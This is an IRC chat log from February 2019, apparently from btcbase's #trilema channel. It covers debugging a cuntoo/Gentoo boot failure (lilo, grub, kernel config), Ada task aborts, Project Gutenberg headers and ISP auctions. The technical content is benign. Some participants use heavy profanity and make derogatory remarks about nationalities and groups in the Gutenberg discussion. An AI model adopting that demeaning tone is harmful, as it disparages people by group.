broken things and no idea why, time to junk the box" impulse. 1894758;1549831277;trinque;http://btcbase.org/log/2019-02-09#1894545 1894759;1549831277;a111;Logged on 2019-02-09 19:55 trinque: btw this means that e.g. what mod6 is experiencing are more likely to be "I need to go understand kernels and lilo better" than "cuntoo is broken" 1894760;1549831363;trinque;like, "neither boot". why doesn't that come with some context? 1894761;1549831372;trinque;lilo does what when they attempt to boot? 1894762;1549831418;trinque;"doesn't know where the kernel lives" or "kernel starts logging things and hangs when trying to mount root" or "it ties my dick in a knot and slaps my mother" 1894763;1549831442;mod6;trinque: I'm getting there, it'll be in the blog post. 1894764;1549831514;trinque;whatever ritual you prefer. I'm sitting right here, wondering wtf this angular communication is. 1894765;1549831832;mircea_popescu;http://btcbase.org/log/2019-02-10#1894714 << it's not like there was any prior expectation for the malfunction on any basis whatever. yes, as far as i also knew, shit was supposed to work, from what i know of what they've said you'd expect it worked etc etc. 1894766;1549831832;a111;Logged on 2019-02-10 18:44 asciilifeform: diana_coman, mircea_popescu , et al : other observation : based on my reading of https://www.adaic.org/resources/add_content/standards/12rm/html/RM-9-8.html , 'abort' oughta work as a hard kill unless you specifically put a deliberate 'do this before death' in the task. but does gnat actually obey the standard here, i currently do not know 1894767;1549831856;shinohai;Will the "it ties my dick in a knot and slaps my mother" be a feature in next version of bootstrapper? 1894768;1549831874;mircea_popescu;http://btcbase.org/log/2019-02-10#1894713 << i specifically don't even WANT the "rich media" / dvds / epubs / pdfs / whatever bullshit. i don't even want their pagelong blathers about how all-important inca is or whatever shit. 1894769;1549831874;a111;Logged on 2019-02-10 18:41 spyked: BingoBoingo, that's a very good q. I'ma make some quick stats with file types and their sizes, then will add them to the post. 1894770;1549831989;BingoBoingo;mircea_popescu: That was my motivation for the question. How much junk can be cut in the collection management process on the way to having a library 1894771;1549832034;trinque;shinohai: lol at this rate I'm calling it a high priority feature request. 1894772;1549832096;mod6;trinque: what do you mean by 'angular'? If you mean, why so terse? Because I don't want to flood #t with a ton of information, as I'm afraid I'll also leave something out. 1894773;1549832134;trinque;so stop being afraid and start coughing me up some deets like we did for what, years on end with trb, to great benefit of all 1894774;1549832138;mircea_popescu;http://btcbase.org/log/2019-02-10#1894753 << i thought mbrs went out with the dos. still a thing ?! 1894775;1549832138;a111;Logged on 2019-02-10 20:26 mod6: yup, ok that seemed to do the trick. no idea how mbr or bootloader would have been corrupted. 1894776;1549832140;diana_coman;mircea_popescu, asciilifeform fwiw my initial http://btcbase.org/log/2019-02-08#1893804 was informed by the docs; because yes, docs say a lot of "stops" 1894777;1549832140;a111;Logged on 2019-02-08 18:11 diana_coman: http://btcbase.org/log/2019-02-08#1893756 -> this makes in fact a lot of sense esp given asciilifeform's observation that indeed, that's an unrecoverable error state; so this sounds good: if child task doesn't die when aborted then kill self (taking the task with self too ofc); I'll experiment with this but afaik so far it should work 1894778;1549832170;mod6;I've conducted quite a bit of work over these last 10 days, and I know mod6 seems like a "n00b" and "doesn't know what he's doing", but I have managed to install gentoo quite a few times since '15. But yeah, always learning. 1894779;1549832177;trinque;I'm certain the cuntoo script is *not done* which is why I'm having folks test it, but I want more out of these tests than "ow, it wasn't a debian installer" 1894780;1549832194;trinque;nobody's even talking about mod6's standing or intelligence here. 1894781;1549832280;trinque;I give even odds the lilo step of the script trashed your grub. one would love to know why. 1894782;1549832297;mircea_popescu;diana_coman the one question lingering here is : as ada actually elaborates an init and an exit, as it must, since it does in fact compile, whether there's a way to use these correctly in lieu of "call C-mommy to change diapers". 1894783;1549832326;trinque;why did 10 days elapse without a clue entering the forum? this is the "lets do business in #pizarro" thing again 1894784;1549832537;mod6;Because after all the gentoo problems I had back in '15, I wanted to be sure that I had exausted all the things before bringing this forward. 1894785;1549832571;mircea_popescu;BingoBoingo and it is VERY HARMFUL fucking junk. having "All donations should be made to "Project Gutenberg/CMU": and are tax deductible to the extent allowable by law. (CMU = Carnegie- Mellon University)." or "Copyright laws are changing all over the world, be sure to check the copyright laws for your country before posting these files!!" in the lede of "The Merchant of Venice by William Shakespeare" promotes a most harmful 1894786;1549832571;mircea_popescu;and in any case uncountenable view whereby the fucktarded usgistan is at least more important than fucking shakespeare. 1894787;1549832613;mircea_popescu;it very well fucking is not. it's not even remotely as important. having usg.cmu or usg.anything-else spew on actual literature is nothing short of vandalism. i don't want their grafitti, and i don't care why they think they're owed it. 1894788;1549832623;BingoBoingo;mod6: Start bringing out the error reports earlier. It's one very good use of a blog, you compile detailed output of the problem condition and then drop the link here. 1894789;1549832721;mircea_popescu;this without even going into ridiculous nonsense a la "We produce about two million dollars for each hour we work. The time it takes us, a rather conservative estimate, is fifty hours to get any etext selected, entered, proofread, edited, copyright searched and analyzed, the copyright letters written, etc. This projected audience is one hundred million readers. If our value per text is nominally estimated at one dollar then w 1894790;1549832722;mircea_popescu;e produce $2 million dollars per hour" ; apparently nobody fucking there bothered to EVER confront http://btcbase.org/log/2017-05-15#1656097 or http://btcbase.org/log/2017-07-15#1684170 etcetera. 1894791;1549832722;a111;Logged on 2017-05-15 01:15 mircea_popescu: gutenberg statistics ? 24 downloads for regrets sur ma vieille robe de chambre. in a fucking decade. because, of course, http://btcbase.org/log/2017-05-09#1653782 1894792;1549832722;a111;Logged on 2017-07-15 09:02 mircea_popescu: and in other "internet is for lulz", http://www.gutenberg.org/files/43617/43617-h/43617-h.htm was downloaded... 77 times. 1894793;1549832789;BingoBoingo;mircea_popescu: Right. This shit has to get cleaned, and turned into an actual library collection rather than CMU subsidizing Google. 1894794;1549832833;mircea_popescu;http://btcbase.org/log/2019-02-10#1894772 << it's not terse, mod6. compare and contrast http://btcbase.org/log/2019-02-10#1894635 with http://btcbase.org/log/2019-02-10#1894738 ; does it strike you where these are different ? 1894795;1549832833;a111;Logged on 2019-02-10 20:54 mod6: trinque: what do you mean by 'angular'? If you mean, why so terse? Because I don't want to flood #t with a ton of information, as I'm afraid I'll also leave something out. 1894796;1549832833;a111;Logged on 2019-02-10 16:02 diana_coman: http://btcbase.org/log/2019-02-08#1893804 -> sadly I must say that I failed to find a way to terminate the program if/when one of the tasks is just looping infinitely ; I tried: abort of the looping task -> nothing,because task is "not in an abortable region"; Abort_Task(Current_Task) from the main program -> still stuck because apparently it takes it to mean "will stop AFTER all my dependent tasks stopped too!"; raising an uncaught except 1894797;1549832833;a111;Logged on 2019-02-10 20:00 mod6: Well, during the information gathering of my blog post, I went to boot back into my never-has-failed me Gentoo installation on my 500Gb SSD. And now I'm getting: "Welcome to GRUB! \n error no such device: e45d853f-... \n error: unknown filesystem \n Entering rescue mode... \n grub rescue>" which doesn't let me boot by selecting: linux (hd0,1)/ root=(hd0,3) \n boot different than the normal gr 1894798;1549833017;mod6;Well, it seemed to me there was a pretty lengthy conversation about Ada threading issues over the last two days, I didn't want to make my problems (with a possible questionable box) the center of attention for everyone. 1894799;1549833031;mod6;Anyway, I think I'm just a bit frustrated. 1894800;1549833044;*;trinque invites a terse machine-gunning to the face of mod6's notes 1894801;1549833084;trinque;and less "shit's fucked, man" with a smoke out back. 1894802;1549833087;mod6;Also, I'm remembering now, trinque, that I did ask alf about my inital hang that I had in #piz. He suggested that I had a kernel problem, but I never did really ask about it otherwise. I just tried to solve my own problem. 1894803;1549833137;mod6;Well, if your frustrated with me, I apologize. I'm just trying to get this up and going so I can test Keccak TRB on here. 1894804;1549833214;BingoBoingo;mod6: The closest computers have come to the promised "intelligence amplified" I have ever seen is when detailed error reports in this channel and less frequently #pizarro and #asciilifeform yield detailed feedback. 1894805;1549833256;mod6;I tend, lately to stay away from asking trinque questions, as I seem to get punched in the face as opposed to helpful responses. 1894806;1549833265;mod6;This is perhaps why I never reached out. 1894807;1549833287;BingoBoingo;For my own selfish reasons I want to see what you hit your head on, because there is a very real chance when I go to try things I will also hit my head on the same rocks 1894808;1549833317;trinque;mod6: is it possible you're just a bit too focused on feelings here? 1894809;1549833331;mod6;I mean "lately" as in, the last year or so... which is fine. I should have just started blogging immediately instead of trying to resolve my issues for 10 days. 1894810;1549833347;mod6;I'm not focused on any feelings. I just would rather not bother you. 1894811;1549833391;BingoBoingo;I'm seeing less punches and more error reports being presented in response to the way you are composing your own error reports. It's an error cascade. 1894812;1549833412;*;mod6 drops head. 1894813;1549833547;BingoBoingo;I suggest lifting head, making some hot chocolate, taking a walk to dump some adrenaline off and get a bit of calm, then returning. 1894814;1549833595;trinque;you're evaluating things towards the purpose of avoiding negative reflection upon you, rather than from the cause of your circumstances. thus when I ask you what was on your workbench when http://btcbase.org/log/2019-02-10#1894746 happened, you either don't know or shy away from saying. 1894815;1549833595;a111;Logged on 2019-02-10 20:14 mod6: So during this adventure, I initially bought a WD 250Gb SATA SSD, upon which I installed cuntoo. Which I never did get to work. Upon initial suspicion that disk might be bad, I bought another 250Gb WD SSD and installed cuntoo on that also. Same error. So I at least removed the variable of "disk is bad". 1894816;1549833640;trinque;if I hated you, I'd let you proceed and negrate you in a few months. I personally tire of $howOneAppears being the aim, instead of the side-effect of *doing things* 1894817;1549833712;mod6;Guys, I'm gonna work on this blog post, then unbury myself from the latest 5" of snow that just landed on me. Let's take this all back up when this is done. 1894818;1549833713;mircea_popescu;mod6 no man, the difference ain't that one's topic is ada and the other's topic is cuntoo. the difference is that she said "here's the top level problem, here's the list of possible solutions, here's the failure mode of each, let me know if either the list's missing an item or wtf." ; you said "here's an error message pasted and i've been having problems". 1894819;1549833732;mircea_popescu;i have no doubt that you, as anyone who uses computers, occasionally encounters error messages, and occasionally has problems. 1894820;1549833748;mircea_popescu;but if these aren't structured in the manner where they're useful... unsurprisingly enough, they can't be used. 1894821;1549833779;mircea_popescu;hence the encouragement to go write a blog article about it -- the idea is that "well, maybe he's not so good at being succint, but if he's stuck telling the whole story then organisation will necessarily emerge for him from it". 1894822;1549833903;mircea_popescu;so either write the blog article or don't ; but in any case be like "yo trinque, the problem's X, reproducible through Y, approach a dun work because q happens, approach b dun work because w happens, wut do ?" 1894823;1549833975;mircea_popescu;fail that, even something as vague as "on particularly this-and-so hw mix this thing fails in a manner i can't fucking understand" is better than nothing, witness eg http://btcbase.org/log/2019-01-14#1886738 1894824;1549833975;a111;Logged on 2019-01-14 03:53 mircea_popescu: in other arcana : i have here a copy of trb that has died a mysterious death on dec 31st. the process itself hasn't returned, ps aux lists it as expected, however the last time it touched any files was two weeks ago, nor does a call to getinfo ever return. 1894825;1549833983;mircea_popescu;but it's not better than nothing ~by all that much~. 1894826;1549834297;mircea_popescu;other than that, from what i've seen i believe he's probably right, lilo setup possibly fucked your grub at some juncture. it'd be great to extract the juncture if at all possible. 1894827;1549835034;feedbot;http://pizarroisp.net/2019/02/10/pizarro-isp-update-february-10th-2019/ << PizarroISP -- Pizarro ISP Update February 10th, 2019 1894828;1549835153;BingoBoingo;This update raises a serious issue in the lack of success I have had setting a price point at auction this month http://pizarroisp.net/2019/02/10/pizarro-isp-update-february-10th-2019/#selection-31.0-49.104 1894829;1549835242;BingoBoingo;I need to know what changes to how I have been handling auctions would get people in WoT to start bidding on auctions. 1894830;1549835349;mircea_popescu;BingoBoingo can just reuse old one i guess ? 1894831;1549835397;BingoBoingo;mircea_popescu: This month I suspect I may have to. 1894832;1549835431;mircea_popescu;alternatively, you might do the 0-start auction and force people to either bid or lose out. tho that risky, "market can remain insane for much longer than you can remain solvent": 1894833;1549835585;BingoBoingo;Right, especially as after dropping the implied rate for take 2 and keeping that rate through takes 3 and 4 the spread between a low price not getting bids and what local liquidity is offering have grown. 1894834;1549835669;BingoBoingo;One temper on zero start auctions would be that the auction result determines the price basis for invoicing. Insane auction result leads to insane invoice. 1894835;1549835809;mircea_popescu;risky enough. dood who failed to bid when he was supposed to is much less likely to go "oh, this high invoice is what i deserve for my failure" and rather "o no, bill too high, won't pay [nevermind that i made it too high by being deliberately stupid, that shouldn't count, nobody should ever have to do anything]" 1894836;1549835811;mircea_popescu;and so... 1894837;1549835883;jurov;!Xbid 1040 154mn 1894838;1549835884;auctionbot;Buy order # 1040: 500 Wired Filthy Fiats (WU is fine) Heard: 154mn from jurov. Ending: 2019-02-10 22:42:10.419382 UTC (12 hours 40 mins) 1894839;1549836341;BingoBoingo;ty jurov 1894840;1549836444;BingoBoingo;Anyways, if there is something I can do whether that is standardizing the length of auction, day of the month it starts, duration, etc feedback is welcome. 1894841;1549836603;mircea_popescu;i personally am not generally bidding because broadly i want this thing to develop its own network and narrowly it's just twenty times the cost in overhead for whatever benefit it might produce, sorta like carrying strawberries by the boat one by one. 1894842;1549836771;BingoBoingo;That's healthy and consistent with your necessary turning of the screws since the 2017 power cycling incident to accelerate the purging of hallucinated optionality. 1894843;1549836883;mircea_popescu;that aside, i'm guessing i still supplied a large-ish chunk of pizarro's dubaloos in 2018. but anyway. 1894844;1549836891;jurov;BingoBoingo: I'm more likely to bid on smaller amounts, 500 wff is fine. Maybe you can split the sum into several auctions. 1894845;1549836906;jurov;If it's worth the clutter. 1894846;1549836934;mircea_popescu;the thing with price signals is that they get more precise the more bidders, not necessarily the larger chunk. 1894847;1549836957;mircea_popescu;a $100 bill on which 3 people bid is likely to sell closer to true value than a 2000 chunk on which there's 1 bid. 1894848;1549836970;mircea_popescu;so in this sense, entirely nothing is lost making them smaller for as long as it improves participation 1894849;1549837144;shinohai;http://btcbase.org/log/2019-02-09#1894458 <<< I'm working on a simple trilema.com search function, lemme know if you'd like to see a demo. 1894850;1549837144;a111;Logged on 2019-02-09 19:04 mircea_popescu: http://btcinfo.sdf.org/blog/bcinfobot.html << anyone want his bot in here ? 1894851;1549837279;mircea_popescu;sure. 1894852;1549837737;BingoBoingo;jurov: My disinclination to committing to splitting chunks and putting them all up for auction here comes from those times the local liquidity is more generous than the grizzled veterans bidding here. For the two reasons of prudence with Pizarro's capital and the cause of continuing to spread Bitcoin's corruption... the local market can't be ignored. 1894853;1549837747;BingoBoingo;On the other hand there is also the case where, when the datacenter is ready to be paid again, a flurry of undersized payments is likely to lead them to WTF. Further the local liquidity hits a bigger buy/sell spread with the volume the datacenter's monthly requirements demand (And then there are the consequences if third party fails to pay the datacenter to spec). 1894854;1549837858;shinohai;!!up bcinfobot 1894855;1549837858;deedbot;bcinfobot voiced for 30 minutes. 1894856;1549837868;shinohai;!~trilema sluts 1894857;1549837871;bcinfobot;http://wotpaste.cascadianhacker.com/pastes/vMssB/?raw=true 1894858;1549837994;mircea_popescu;shinohai select query returns 67 rows. what's this do, basically google ? 1894859;1549838017;shinohai;It uses ddg api 1894860;1549838025;mircea_popescu;BingoBoingo defo you don't want to chunk up the dc payments 1894861;1549838072;BingoBoingo;Reluctant to take them out of WoT as well 1894862;1549838769;mod6;http://blog.mod6.net/?p=42 << Ok, I've got that blog post up. 1894863;1549838785;mod6;I've got to go do some snow removal, will be back in a bit. 1894864;1549838876;feedbot;http://blog.mod6.net/?p=42 << mod6's Blog -- A Cuntoo Adventure 1894865;1549838890;mod6;oh hey, i guess i was added to the roll. 1894866;1549838894;mod6;aight bbl. 1894867;1549839014;trinque;great! so lilo worked, and your kernel config was busted. 1894868;1549839040;trinque;lilo's work is done the moment the linux kernel starts coughing up logs 1894869;1549839043;*;trinque leaves a comment 1894870;1549840488;trinque;mod6: http://blog.mod6.net/?p=42&cpage=1#comment-8 1894871;1549840680;trinque;at any rate, don't trash your computer just yet! 1894872;1549841554;BingoBoingo;mod6: Please on your blog go into the settings and change the number urls to human readable urls before it is too late and you are stuck in the trap asciilifeform is 1894873;1549841601;BingoBoingo;Your blog is young, if you wait the pain only grows 1894874;1549841629;*;BingoBoingo adds "human readable urls" to mp-wp setup steps 1894875;1549841705;trinque;iirc the old ones all work if you change it 1894876;1549841828;BingoBoingo;The do on the same wp-database, yes 1894877;1549842997;mod6;trinque: thank you for your comment; will respond when I can gather up some more info. 1894878;1549843025;mod6;BingoBoingo: what is meant by 'human readable'? I can mouse over them and they seem to be correct. 1894879;1549843107;BingoBoingo;mod6: In terms of ?p=42 versus a string composed of words with maybe some numbers corresponsiding to a date 1894880;1549843152;BingoBoingo;You can set this at /wp-admin/options-permalink.php for your blog's domain 1894881;1549843196;mod6;hmm, ok. 1894882;1549843204;lobbes;see also: http://blog.lobbesblog.com/2018/06/mein-kompendium-mp-wp/#selection-317.0-317.46 1894883;1549843222;mod6;can this be set in the admin-thingy? or does this have to be straight into the PHP? 1894884;1549843298;BingoBoingo;mod6: From the admin-thingy 1894885;1549843320;mod6;Settings->Permalink Settings->Month and name (radio button) looks like. 1894886;1549843334;BingoBoingo;Aha, any of those work 1894887;1549843381;mod6;ok, that blog post is now: http://blog.mod6.net/2019/02/a-cuntoo-adventure 1894888;1549843386;mod6;cheers, bbl. 1894889;1549843416;BingoBoingo;Thank you o7 1894890;1549847891;hanbot;!!key ave1 1894891;1549847893;deedbot;http://wot.deedbot.org/57EE94EA6F2049A47DAFA8568F4CE8F777BC59F9.asc 1894892;1549848488;lobbes;http://btcbase.org/log/2019-02-10#1894807 << verily. And not even necessarily rocks he hit, but also rocks avoided that less experienced folx may hit (for e.g., I have never debugged a kernel before. Now, when my time to do that comes I know I can check http://blog.mod6.net/2019/02/a-cuntoo-adventure/ to re-read how mod6 did it). 1894893;1549848488;a111;Logged on 2019-02-10 21:14 BingoBoingo: For my own selfish reasons I want to see what you hit your head on, because there is a very real chance when I go to try things I will also hit my head on the same rocks 1894894;1549848514;lobbes;And the utility of reporting applies to oneself too; even though my flailings in http://blog.lobbesblog.com/2019/01/initial-cuntoo-testing/ may not be of use to anyone else, -I- now have a ready history of wtf I was thinking/doing years down the line, from which to diff 1894895;1549848804;lobbes;btw, I managed to finally get a handrolled heathen gentoo installed the other day (my first one ever). Still wrestling with getting networking functional, but once I do I'ma get vtools set up, and then give the cuntoo bootstrap.sh another spin 1894896;1549848830;hanbot;diana_coman fwiw i ran into a few broken internal links on ossasepia today on account of their still pointing to dianacoman.com, see http://ossasepia.com/2018/03/08/eucrypt-compilation-sheet/ fo' instance. 1894897;1549850037;feedbot;http://bingology.net/2019/02/11/just-about-everything-i-grew-up-understanding-to-be-normal-is-a-recent-invention/ << Bingology - BingoBoingo's Blog -- Just About Everything I Grew Up Understanding To Be Normal Is A Recent Invention 1894898;1549852464;mircea_popescu;http://btcbase.org/log/2019-02-10#1894867 << is it clear which kernels work or what exactly as of yet ? 1894899;1549852464;a111;Logged on 2019-02-10 22:50 trinque: great! so lilo worked, and your kernel config was busted. 1894900;1549852488;mircea_popescu;http://btcbase.org/log/2019-02-10#1894872 << he's not trapped, he could change them today to no ill effect. he just opts to be irrationally weird about it. 1894901;1549852488;a111;Logged on 2019-02-10 23:32 BingoBoingo: mod6: Please on your blog go into the settings and change the number urls to human readable urls before it is too late and you are stuck in the trap asciilifeform is 1894902;1549852688;asciilifeform;mircea_popescu: i dunlike shit urls anymoar than anyone else, it's down there on conveyor , somewhere below the various roaring fires 1894903;1549852703;mircea_popescu;alrighty then 1894904;1549852735;asciilifeform;http://btcbase.org/log/2019-02-10#1894755 << ty diana_coman , got it, will report when replicated 1894905;1549852735;a111;Logged on 2019-02-10 20:31 diana_coman: asciilifeform, and anyone else interested in testing Ada's failure to abort, minimal test setup: ossasepia.com/available_resources/test_tasks_ada.zip 1894906;1549852768;mircea_popescu;http://btcbase.org/log/2019-02-10#1894874 << you know, you ~could~ just alter the setup yourself, make a patch or such. 1894907;1549852768;a111;Logged on 2019-02-10 23:33 BingoBoingo adds "human readable urls" to mp-wp setup steps 1894908;1549852796;mircea_popescu;make the /year/slug format the default an' be done with it. 1894909;1549852799;asciilifeform;mircea_popescu: re 'which kernels work?' : this is a++ q, but sadly incomplete, instead q is always 'which kernels for on $iron' 1894910;1549852824;asciilifeform;for instance asciilifeform has a known-working config for all dulap-like boxen; presently in use by diana_coman on iirc both diana_coman units; another for rkisms 1894911;1549852825;mircea_popescu;anything, really. 1894912;1549852840;asciilifeform;i regret to inform that i do not have a config that works on 'anythings' 1894913;1549852852;BingoBoingo;mircea_popescu: The default in the recipe has changed going forward after a bit of reflection reveals it was my failing 1894914;1549852853;mircea_popescu;"we have so far tried : X (a, b, c works), Y (b, d), Z (a, c, e). let us know if you try more please." 1894915;1549852865;mircea_popescu;asciilifeform i mean "any information whatsoever." 1894916;1549852892;asciilifeform;mircea_popescu: http://btcbase.org/log/2018-09-04#1847310 re earlier. 1894917;1549852892;a111;Logged on 2018-09-04 14:50 mircea_popescu: alright. so basically, we have a july latest-kernel from alf at http://nosuchlabs.com/pub/conf_current.conf << diana_coman trinque erryone else interested read and see if it works for you / comment ? 1894918;1549852903;mircea_popescu;aha. 1894919;1549852905;asciilifeform;( i keep it updated also, it is current as of the last rebuild ) 1894920;1549852943;mircea_popescu;but that's just straight up a binary. and if you keep it updated, guess what, it's a ~changing~ binary. 1894921;1549852954;asciilifeform;the linked item is a text conf 1894922;1549852969;mircea_popescu;oh oh. 1894923;1549852980;asciilifeform;recently as experiment i build a 'latest' kernel with it; and it required curing ! lemme dig up thread : 1894924;1549853001;mircea_popescu;# Linux/x86 4.9.76-gentoo-r1 Kernel Configuration 1894925;1549853010;asciilifeform;http://btcbase.org/log/2019-01-19#1888343 << thrd 1894926;1549853010;a111;Logged on 2019-01-19 17:56 asciilifeform: briefly revisiting the http://btcbase.org/log/2019-01-18#1888182 find : 'CONFIG_RETPOLINE=n' yields a working kernel (with gcc 4.x), for nao. 1894927;1549853024;mircea_popescu;CONFIG_64BIT=y CONFIG_X86_64=y CONFIG_X86=y << always a pleasure to read these. 1894928;1549853032;asciilifeform;the 'official' kernel is headed straight to bottom of the sea. 1894929;1549853072;asciilifeform;already beginning to tip, like titanic, and blowing horn one final time. 1894930;1549853129;asciilifeform;mircea_popescu: it's a reasonably compact kernel, to support various items currently in standard use, raid card, FG serial dongles, iptables. 1894931;1549853184;mircea_popescu;asciilifeform yeah, and has to set things nine different times because reasons. CONFIG_NORLYNOT32BiT=y #(note the i in there!) 1894932;1549853188;asciilifeform;all currently fielded asciilifeform kernels are small variations on that 1. 1894933;1549853214;mod6;I can give it a try and report back on this as well. I have a couple of things to investigate for trinque first though. 1894934;1549853222;asciilifeform;mircea_popescu: good % of the flagolade is auto-set by the configurator, it's not exactly a civilized product 1894935;1549853228;mircea_popescu;aha. 1894936;1549853252;asciilifeform;( afaik the last 'fits-in-head' kernel was 1.sumthing... ) 1894937;1549853292;trinque;any chance of mechanically ripping the source out for anything set to "N", or did progress shit all over any hope 1894938;1549853298;*;trinque has not looked into this deeply 1894939;1549853307;asciilifeform;trinque: betcha it's actually doable 1894940;1549853324;asciilifeform;tho not necessarily mechanically, lotsa 'spaghetti' interwound liquishit in'ere. 1894941;1549853334;mircea_popescu;it might be doable if one is found to shit a weekend babying a machine. 1894942;1549853345;asciilifeform;optimistically 1894943;1549853351;asciilifeform;prolly moar like a yr+ of weekend. 1894944;1549853366;mircea_popescu;well, after the first one in much better position for guess. 1894945;1549853376;asciilifeform;( consider how long took to clean , to reasonable level of non-sepsis, trb -- a 200x smaller product ) 1894946;1549853574;asciilifeform;http://btcbase.org/log/2019-02-10#1894768 << nao if only ocr actually worked. ( asciilifeform admits, never had much enthusiasm for 'let's preserve gutenberg' on acct of most of it being ~unreadable, even the orig jpegs or whatnot are often '90s-quality and wtf to do with'em but throw out, and ditto the text ) 1894947;1549853574;a111;Logged on 2019-02-10 20:51 mircea_popescu: http://btcbase.org/log/2019-02-10#1894713 << i specifically don't even WANT the "rich media" / dvds / epubs / pdfs / whatever bullshit. i don't even want their pagelong blathers about how all-important inca is or whatever shit. 1894948;1549853627;asciilifeform;nao, http://btcbase.org/log/2019-02-04#1892273 is ~also~ ocr'd! but the mistakes are ppm level, not '3 per para'. reason for this is that the ru folx ~actually fucking read~ 1894949;1549853627;a111;Logged on 2019-02-04 16:41 asciilifeform: http://flibusta.is is asciilifeform's routine 'gutenberg', been a while since i looked at the actual one 1894950;1549853669;mircea_popescu;omfg Mocky_ how do i link to a specific comment on your site!111 1894951;1549853682;asciilifeform;the anglosads, near as i can tell, scanning in their shakspeares and... never touched again. 1894952;1549853701;BingoBoingo;asciilifeform: The solution to OCR is castle scribes spending man centuries, as mircea_popescu is deploying with Bimbo 1894953;1549853750;asciilifeform;BingoBoingo: the other solution is that the folx who did the orig scan actually give half a shit and proofread. but this is evidently not ever happening in anglostan outside of dedicated effort like mircea_popescu's 1894954;1549853765;BingoBoingo;Too much to scan 1894955;1549853775;mircea_popescu;check out that horror,
. and of course i can't use #hdlist1 because all comments are hdlist1. 1894956;1549853799;mircea_popescu;what am i gonna do now, exclude linking him cuz admin reasons ? scandal! 1894957;1549853800;asciilifeform;BingoBoingo: flibusta mirror was ~100G last i looked. of ~ascii text~ . 1894958;1549853806;asciilifeform;not pdf, not ??? , etc 1894959;1549853832;asciilifeform;( well technically 'koi' txt, but still , txt, not bitmapolade ) 1894960;1549853870;asciilifeform;diff is, those b00kz, from marshak's transl of shakespeare to the lowest pulp liquishits, ~get read~ 1894961;1549853902;mircea_popescu;asciilifeform only reason they scan in "their" shakespears WHICH NEVER WERE NOR WILL EVER BE THEIRS, http://btcbase.org/log/2017-09-09#1711670 africans as they are, is so that they can add their self-important vomit up top. "copyrights blablabla" didntcha know. 1894962;1549853902;a111;Logged on 2017-09-09 18:34 mircea_popescu: http://btcbase.org/log/2017-09-09#1711610 << loller. shakespeare, one of the oldest and most established audre lorde 1894963;1549853919;asciilifeform;mircea_popescu: these dun exist in the ru warez libs either 1894964;1549853928;asciilifeform;no 'headers', no copyrasty garbage. 1894965;1549853935;asciilifeform;goes straight to pg.1. 1894966;1549853936;mircea_popescu;right ? which is exactly all the proof i need. 1894967;1549853954;mircea_popescu;only reason ustard has book in library is as a pedestal for his tupperware sales pitch. 1894968;1549853971;asciilifeform;mircea_popescu: this goes way back. lemme dig up a recently-found sad : 1894969;1549854040;asciilifeform;recently asciilifeform wanted to quote from s. brant's 16th c. lul 'narrenschiff'. mega-longseller-bestseller in all of europistan, incl. su. so went 'hrm, iirc there's an english'. guess what found ? http://www.gutenberg.org/files/20179/20179-h/20179-h.htm 1894970;1549854055;asciilifeform;^ not only encrusted with gutenbergism, but quarter meg from orig 16th derp ! 1894971;1549854060;asciilifeform;and the 'translation' -- ain't 1894972;1549854074;asciilifeform;it is clear that barclay didn't know a word of orig de !! 1894973;1549854084;asciilifeform;someone summarized for him, and he shat out a 'cliffs notes' 1894974;1549854091;mircea_popescu;heh 1894975;1549854107;asciilifeform;and added buncha rubbish, like ' praises of the "noble Henry which now departed late' 1894976;1549854122;asciilifeform;aand 'Of predestinacyon.' 1894977;1549854128;asciilifeform;and 9000 other ???wtfomfg. 1894978;1549854145;asciilifeform;the fucktards had 'gutenberg quality'... in 1500s!!! 1894979;1549854150;mircea_popescu;anglotards. not spontaneously generated, no. 1894980;1549854169;asciilifeform;this was so depressing, i did not even put in log 1894981;1549854182;asciilifeform;but nao i gotta, because it is exactly apropos 1894982;1549854224;*;mircea_popescu gives up, links mocky's whole article instead of intended comment. 1894983;1549854234;mircea_popescu;IF YOU LOVE ME YOU NEVER FORCE ME TO DO THIS SORTA THING!!! 1894984;1549854262;BingoBoingo;asciilifeform: See http://trilema.com/2015/ok-so-what-is-bitcoin-disrupting/#selection-313.0-313.284 1894985;1549854321;mircea_popescu;word! 1894986;1549854839;asciilifeform;diana_coman et al : http://p.bvulpes.com/pastes/4SpwP/?raw=true << built, replicated test jig; i'ma lay the thing out on vivisection table properly after sleep ( spent today , among other things, fixing a furnace, bent wrists out , gotta let'em snap back ) 1894987;1549854919;asciilifeform;http://btcbase.org/log/2019-02-11#1894887 << i have not forgotten you, mod6 ! will grant wishes in the order lamp was rubbed, promise 1894988;1549854919;a111;Logged on 2019-02-11 00:03 mod6: ok, that blog post is now: http://blog.mod6.net/2019/02/a-cuntoo-adventure 1894989;1549855003;*;mircea_popescu publishes, then goes to look at spamtrap, there's EIGHTEEN items in it. "hory shit my spamthing finally croaked?!" 1894990;1549855012;mircea_popescu;nope... it's just bingo hitting it hard. 1894991;1549855052;mircea_popescu;(but, in other good news, your pingback thing also works fine.) 1894992;1549855053;asciilifeform;mircea_popescu: a++ plantator hat 1894993;1549855058;mircea_popescu;innit tho! 1894994;1549855084;BingoBoingo; (but, in other good news, your pingback thing also works fine.) << ty, Lardner set me on a re-reading binge 1894995;1549855098;mircea_popescu;people HERE fcuking love it. bought an armful of roses few days ago, dood selling it was like "that's a great hat, mr! say, when you're done with it, don't throw it out, throw it at me, i'd love to have it." 1894996;1549855202;*;asciilifeform bbl , horizontal 1894997;1549855980;feedbot;http://trilema.com/2019/so-they-found-it/ << Trilema -- So they found it! 1894998;1549856556;mircea_popescu;trinque is it actually the case that cuntoo can't boot off a non-first drive ? if so easy enough to check. 1894999;1549857238;trinque;yeah, I'm specifying root=/dev/sda3 in lilo; whereas if I specified root=UUID=D9FCABCA-1F52-4A84-9CB8-4898F8DEC6AE, oughta be able to boot properly even if drive enumeration changes. that'd be nice for the infectious/reproductive angle later. 1895000;1549857318;mircea_popescu;oh damn. 1895001;1549857338;mircea_popescu;well then of fucking course it can't find a sda3 that doesn't exist, he needs sda2 or w/e ? 1895002;1549857349;mircea_popescu;"kernel is bad" in the sense of beign very bad for being somewher eentirely else. 1895003;1549857389;trinque;if it's the case that he left it as an external usb disk, looks like kernel didn't know the disk was there, so the kernel he builds would have to know of the usb chip he has. 1895004;1549857441;mircea_popescu;aha. 1895005;1549857455;trinque;but even if the kernel knew it was there, if that disk wasn't "sda", nah, wouldn't work. this didn't stick out at me because "bootstrapper" grew out of my own tooling for stamping out an internal boot disk for new machine. 1895006;1549857463;mircea_popescu;well at least this got somewhere. mod6 does the ^ make sense ? 1895007;1549857679;mircea_popescu;BingoBoingo different different metals ; count take them ; become and exercise ; against which the rest of the world moves against ; punative prison ; human chattle ; become and entrenched 